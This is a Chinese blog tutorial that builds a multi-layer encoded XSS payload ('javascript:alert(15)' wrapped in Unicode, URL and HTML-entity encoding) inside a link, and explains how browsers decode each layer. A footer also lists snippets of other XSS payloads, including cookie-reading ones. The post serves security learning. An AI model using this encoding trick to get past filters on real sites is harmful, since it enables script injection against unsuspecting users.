美文网首页
一个xss payload编码

一个xss payload编码

作者: zwalts | 来源:发表于2017-10-16 16:51 被阅读0次

原始paylaod

javascript:alert(15)

unicode编码函数名alert

javascript:\u0061\u006c\u0065\u0072\u0074(15)

url编码unicode编码部分

javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)

最后在html编码全部

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

回顾编码过程

payload->unicode编码处理->url编码处理->html编码处理

payload的效果

随便个html文档

<html>

<head>
    <title>
        测试用
    </title>

</head>

<body>
    <h1>what a fuck shit!</h1>
    <hr>
    <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>
    <br/>

</body>

</html>

点我后的效果

图片

分析下浏览器解码过程

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

解码过程

  1. 首先HTML解析器来对这段html文档进行词法解析。字符引用(&#x..实体编号)被解码。
    解码后:

    <a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)">点我</a>
    
  2. 在html词法解析完成后,然后URL解析器开始对href值进行URL解码
    解码后:

    <a href="javascript:\u0061\u006c\u0065\u0072\u0074(15)">点我</a>
    
  3. 由于是javascript协议资源,javascript引擎对unicode编码的字符串进行解码,最终变成原始payload形式,js语句执行
    解码后:

    <a href="javascript:alert(15)">点我</a>
    

知识来源

http://bobao.360.cn/learning/detail/292.html

html解析的几个点:

  • 解析器在解析字符引用(实体名称、实体编号:“&开头的编码”)后不会转换到“标签开始状态”。正因为如此,就不会建立新标签。因此,xss能够利用字符实体编码来转义用户输入的数据,从而确保用户输入的数据只能被解析成“数据”,而不转成html标签。

URL解析的几个点:

  • URL资源类型必须是ASCII字母(U+0041-U+005A || U+0061-U+007A),不然就会进入“无类型”状态。例如,不能对协议类型进行任何的编码操作,不然URL解析器会认为它无类型。该原则对协议后面的“:”(冒号)同样适用。(不能对“javascript:”进行编码)
  • URL编码过程使用UTF-8编码类型来编码每一个字符。

JS解析的几个点可以记下:

  • JavaScript解析器会对Unicode转义序列和Hex转义序列的解码
  • 转义序列放在JS的3个部分:字符串中,标识符名称中和控制字符中
  • Unicode转义序列出现在JS字符串中:当Unicode转义序列存在于字符串中时,它只会被解释为正规字符,而不是单引号,双引号或者换行符这些能够打破字符串上下文的字符。因此,Unicode转义序列将永远不会破环字符串上下文,因为它们只能被解释成字符串常量。同理出现在控制字符中
  • Unicode转义序列出现在JS标识符名称中(函数名,属性名)时,它会被解码并解释为标识符名称的一部分。
  • Unicode转义序列只有在JS标识符名称里不被当作字符串,也只有在标识符名称里的编码字符能够被正常的解析。

相关文章

  • XSS的一些payload

    本来想发一些xss的payload的,可是有些xss的payload里有一些十六进制、url编码之类的东西,保存后...

  • 一个xss payload编码

    原始paylaod unicode编码函数名alert url编码unicode编码部分 最后在html编码全部 ...

  • 通过图片触发XssPayload从而绕过WAF

    假设如果XSS的PayLoad被拦截,那么把XSS的PayLoad放到载体里面,这样会不会Bypass呢? 一个正...

  • XSS常见Paylaod

    XSS常见Payload总结 XSS漏洞的存在与发生伴随两个概念: 输入函数和输出函数。XSS攻击Payload...

  • XSS-CSRF的bvwa破解

    A-XSS-Reflected 一、XSS:(中级别) 测试payload:“ alert(“xss”) ”:测试...

  • XSS payload

    xss在线靶场 http://prompt.ml/0[http://prompt.ml/0] http...

  • Xss challenges

    alert(document.domain) xss challenge 2: payload:"> alert...

  • XSS payload.

    alert('XSS') alert("XSS") alert('XSS') alert("XSS") S...

  • XSS常用payload

  • XSS Payload大全

    '> alert(document.cookie) ='> alert(document.cookie) aler...

网友评论

      本文标题:一个xss payload编码

      本文链接:https://www.haomeiwen.com/subject/hhxluxtx.html